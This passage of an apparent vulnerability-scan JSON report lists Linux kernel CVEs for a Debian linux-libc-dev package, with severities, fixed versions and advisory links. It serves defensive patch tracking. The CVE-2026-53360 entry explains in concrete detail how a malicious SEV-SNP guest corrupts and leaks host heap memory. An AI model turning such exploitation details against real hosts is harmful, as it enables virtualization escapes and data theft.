"Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53346", "https://git.kernel.org/linus/ac35b5580ace12e5d0a0b5e61e36d2c4e1ffa29c%20%287.1-rc7%29", "https://git.kernel.org/stable/c/7de13410f59e59b21d3c268a6e22d40f5d9d8a54", "https://git.kernel.org/stable/c/ac35b5580ace12e5d0a0b5e61e36d2c4e1ffa29c", "https://git.kernel.org/stable/c/bde772ee239720af216fb0b14753971059e132dc", "https://git.kernel.org/stable/c/d0f25a1755f2c15b1746379c8d9d7dfde85f58f5", "https://lore.kernel.org/linux-cve-announce/2026070145-CVE-2026-53346-3a6d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53346", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-53346" ], "PublishedDate": "2026-07-01T14:16:42.693Z", "LastModifiedDate": "2026-07-22T19:16:11.077Z" }, { "VulnerabilityID": "CVE-2026-53356", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f1ca41a06afdb874136ec564d11b6e4223cc3c6568d4b80c9836c6eea9dcba60", "Title": "kernel: drm/i915/gem: Fix phys BO pread/pwrite with offset", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gem: Fix phys BO pread/pwrite with offset\n\nsg_page() returns struct page pointer not (void *) so the scaling\nof pread/pwrite is wrong for phys BO and wrong parts of BO would be\naccessed if non-zero offset is used.\n\nLast impacted platform with overlay or cursor planes using phys\nmapping was Gen3/945G/Lakeport.\n\n(cherry picked from commit 3e49a2f85070b2fb672c1e0fdba281a4ea3aebe6)", "Severity": "HIGH", "CweIDs": [ "CWE-1164" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53356", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/d21ad938398bca695a511307de38a65889e3b354%20%287.1%29", "https://git.kernel.org/stable/c/07c33be968d9e0cab6cba38c81850a09942fcb2e", "https://git.kernel.org/stable/c/14469860e2e39b7095dcd658d2bad38a11110a68", "https://git.kernel.org/stable/c/1ec8fc63e9cdb22da54e48e536c9204020416fc6", "https://git.kernel.org/stable/c/32d4c5d328a3ff995420f4f85163e1e403f43628", "https://git.kernel.org/stable/c/3bd168dd835b93a3862cd05b0d13c432b115f9d6", "https://git.kernel.org/stable/c/40f738991058eb3e3530c3006a5bd6fd5e29f035", "https://git.kernel.org/stable/c/d21ad938398bca695a511307de38a65889e3b354", "https://git.kernel.org/stable/c/dd51a2eeb93bc6faa892ff9083911dd23f82c187", "https://linux.oracle.com/cve/CVE-2026-53356.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026070147-CVE-2026-53356-0d5f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53356", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53356" ], "PublishedDate": "2026-07-01T14:16:44.733Z", "LastModifiedDate": "2026-10-19T20:19:15.497Z" }, { "VulnerabilityID": "CVE-2026-53359", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53359", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1ca4518e7c98d98e0271cb553c3e9905d924f0245e85771acd58800bac27ffd1", "Title": "kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected role", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Fix shadow paging use-after-free due to unexpected role\n\nCommit 0cb2af2ea66ad (\"KVM: x86: Fix shadow paging use-after-free due\nto unexpected GFN\") fixed a shadow paging mismatch between stored and\ncomputed GFNs; the bug could be triggered by changing a PDE mapping from\noutside the guest, and then deleting a memslot. The rmap_remove()\ncall would miss entries created after the PDE change because the GFN\nof the leaf SPTE does not match the GFN of the struct kvm_mmu_page.\n\nA similar hole however remains if the modified PDE points to a non-leaf\npage. In this case the gfn can be made to match, but the role does not\nmatch: the original large 2MB page creates a kvm_mmu_page with direct=1,\nwhile the new 4KB needs a kvm_mmu_page with direct=0. However,\nkvm_mmu_get_child_sp() does not compare the role, and therefore reuses\nthe page.\n\nThe next step is installing a leaf (4KB) SPTE on the new path which\nrecords an rmap entry under the gfn resolved by the walk. But when\nthat child is zapped its parent kvm_mmu_page has direct=1 and\nkvm_mmu_page_get_gfn() computes the gfn for the 4KB page as\nsp-\u003egfn + index instead of using sp-\u003eshadowed_translation[] (or sp-\u003egfns[]\nin older kernels). It therefore fails to remove the recorded entry.\n\nWhen the memslot is dropped the shadow page is freed but the rmap\nentry survives, as in the scenario that was already fixed. Code that\nlater walks that gfn (dirty logging, MMU notifier invalidation, and\nso on) dereferences an sptep that lies in the freed page, causing the\nuse-after-free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53359", "http://www.openwall.com/lists/oss-security/2026/07/06/7", "https://access.redhat.com/errata/RHSA-2026:36957", "https://access.redhat.com/security/cve/CVE-2026-53359", "https://bugzilla.redhat.com/2429036", "https://bugzilla.redhat.com/2482587", "https://bugzilla.redhat.com/2497033", "https://bugzilla.redhat.com/show_bug.cgi?id=2429036", "https://bugzilla.redhat.com/show_bug.cgi?id=2482587", "https://bugzilla.redhat.com/show_bug.cgi?id=2497033", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71066", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53359", "https://errata.almalinux.org/9/ALSA-2026-36957.html", "https://errata.rockylinux.org/RLSA-2026:36957", "https://git.kernel.org/linus/81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0b5e8ead71e683bcf6232db16234cf7e6d553a23", "https://git.kernel.org/stable/c/1ae7d5a6db6c190ce183e3098ca0e0846e14d462", "https://git.kernel.org/stable/c/2ad3afa40ac6aa340dada122f9abfa46c0a6eb35", "https://git.kernel.org/stable/c/5e470998a23e4c3d89ed24e8172cb22747e61efa", "https://git.kernel.org/stable/c/81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb", "https://git.kernel.org/stable/c/9291654d69e08542de37755cebe4d5b02c3170d1", "https://git.kernel.org/stable/c/b1337aae5e194324e4810d561764e7793f8b3864", "https://github.com/V4bel/Januscape", "https://github.com/V4bel/Januscape/blob/main/assets/write-up.md", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/7.1.0/BRSA-tw2b161eocda.toml", "https://linux.oracle.com/cve/CVE-2026-53359.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/linux-cve-announce/2026070403-CVE-2026-53359-4f57@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53359", "https://ubuntu.com/security/notices/USN-8629-1", "https://ubuntu.com/security/notices/USN-8629-2", "https://ubuntu.com/security/notices/USN-8629-3", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53359", "https://www.openwall.com/lists/oss-security/2026/07/06/7" ], "PublishedDate": "2026-07-04T12:17:01.76Z", "LastModifiedDate": "2026-10-03T11:17:35.393Z" }, { "VulnerabilityID": "CVE-2026-53360", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53360", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8540ec6f1e659e08a2a9a4399a93daf5e47a853a56e607de7bcb324cbe6658dc", "Title": "kernel: KVM: SEV: Require in-GHCB scratch area if GHCB v2+ is in use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SEV: Require in-GHCB scratch area if GHCB v2+ is in use\n\nAs per the GHCB spec, when using GHCB v2+ require the software scratch area\nto reside in the GHCB's shared buffer. Note, things like Page State Change\n(PSC) requests _rely_ on this behavior, as the guest can't provide a length\nwhen making the request, i.e. the size of the guest payload is bounded by\nthe size of the shared buffer.\n\nFailure to force usage of the GHCB, and a slew of other flaws, lets a\nmalicious SNP guest corrupt host kernel heap memory, and leak host heap\nlayout information.\n\nsetup_vmgexit_scratch() allocates a buffer via kvzalloc(exit_info_2),\nwhere exit_info_2 is guest-controlled. With exit_info_2=24, this yields\na 24-byte allocation in kmalloc-cg-32 (32-byte slab objects). The buffer\nholds an 8-byte psc_hdr followed by 8-byte psc_entry structs, so only\nentries[0] and entries[1] are in-bounds.\n\nsnp_begin_psc() validates end_entry against VMGEXIT_PSC_MAX_COUNT (253)\nbut NOT against the actual buffer size:\n\n idx_end = hdr-\u003eend_entry;\n\n if (idx_end \u003e= VMGEXIT_PSC_MAX_COUNT) { // checks 253, not buffer\n snp_complete_psc(svm, ...);\n return 1;\n }\n\n for (idx = idx_start; idx \u003c= idx_end; idx++) {\n entry_start = entries[idx]; // OOB when idx \u003e= 2\n\nThe guest sets end_entry=10+, causing the host to iterate entries[2+]\nwhich are OOB into adjacent slab objects. For each OOB entry:\n\n - The host reads 8 bytes (OOB READ / info leak oracle)\n - If the data passes PSC validation, __snp_complete_one_psc() writes\n cur_page = 1 or 512 into the entry (OOB WRITE, sev.c:3806)\n - If validation fails, the error response reveals whether adjacent\n memory is zero vs non-zero (information disclosure to guest)\n\nThe guest controls allocation size (exit_info_2), entry range\n(cur_entry/end_entry), and can fire unlimited VMGEXITs to repeatedly\nhit different slab positions.\n\nBy exploiting the variety of bugs, a malicious SEV-SNP guest can:\n - OOB read adjacent kmalloc-cg-32 objects (heap layout disclosure)\n - OOB write cur_page bits into adjacent objects (heap corruption)\n - Trigger use-after-free conditions across VMGEXITs\n\nE.g. with KASAN enabled, a single insmod of the PoC guest module\nproduces 73 KASAN reports:\n\n BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x126/0x890\n Read of size 8 at addr ffff888219ffb5e0 by task qemu-system-x86/2199\n\n BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x468/0x890\n Write of size 8 at addr ffff888351566648 by task qemu-system-x86/2199\n\n The buggy address belongs to the object at ffff888XXXXXXXXX\n which belongs to the cache kmalloc-cg-32 of size 32\n The buggy address is located N bytes to the right of\n allocated 32-byte region [ffff888XXXXXXXXX, ffff888XXXXXXXXX)\n\n Breakdown:\n 62 slab-out-of-bounds (reads + writes past allocation)\n 7 slab-use-after-free\n 4 use-after-free\n\nAll credit to Stan for the wonderful description and reproducer!\n\n[sean: write changelog]", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-53360", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/db3f2195d29344a3cf1e9dd9ab7f21ced7308cf7%20%287.1-rc6%29", "https://git.kernel.org/stable/c/b328ede59ac34e7998e1eee5e5f0cc26c2a91846", "https://git.kernel.org/stable/c/bf9ba093fbb83c0c9a3dedd50efec29424eca2fc", "https://git.kernel.org/stable/c/c9b4198fbc6ed99a9da4bee9f74bb730f926c9ae", "https://git.kernel.org/stable/c/db3f2195d29344a3cf1e9dd9ab7f21ced7308cf7", "https://linux.oracle.com/cve/CVE-2026-53360.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026070413-CVE-2026-53360-3284@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53360", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53360" ], "PublishedDate": "2026-07-04T12:17:01.88Z", "LastModifiedDate": "2026-10-19T20:19:16.147Z" }, { "VulnerabilityID": "CVE-2026-53361", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53361", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e1af49aad6677d2bacd8937cf4e6ad378d02a497f1c7b6f3cba61beff1bd2e62", "Title": "kernel: af_unix: Set gc_in_progress to true in unix_gc()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Set gc_in_progress to true in unix_gc().\n\nIgor Ushakov reported that unix_gc() could run with gc_in_progress\nbeing false if the work is scheduled while running:\n\n Thread 1 Thread 2 Thread 3\n -------- -------- --------\n unix_schedule_gc() unix_schedule_gc()\n `- if (!gc_in_progress) `- if (!gc_in_progress)\n |- gc_in_progress = true |\n `- queue_work() |\n unix_gc() \u003c----------------/ |\n | |- gc_in_progress = true\n ... `- queue_work()\n | |\n `- gc_in_progress = false |\n |\n unix_gc() \u003c---------------------------------------------'\n |\n ... /* gc_in_progress == false */\n |\n `- gc_in_progress = false\n\nunix_peek_fpl() relies on gc_in_progress not to confuse GC\nby MSG_PEEK.\n\nLet's set gc_in_progress to true in unix_gc().", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53361", "https://access.redhat.com/errata/RHSA-2026:67471", "https://access.redhat.com/security/cve/CVE-2026-53361", "https://bugzilla.redhat.com/2414466", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2497035", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502490", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2414466", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", 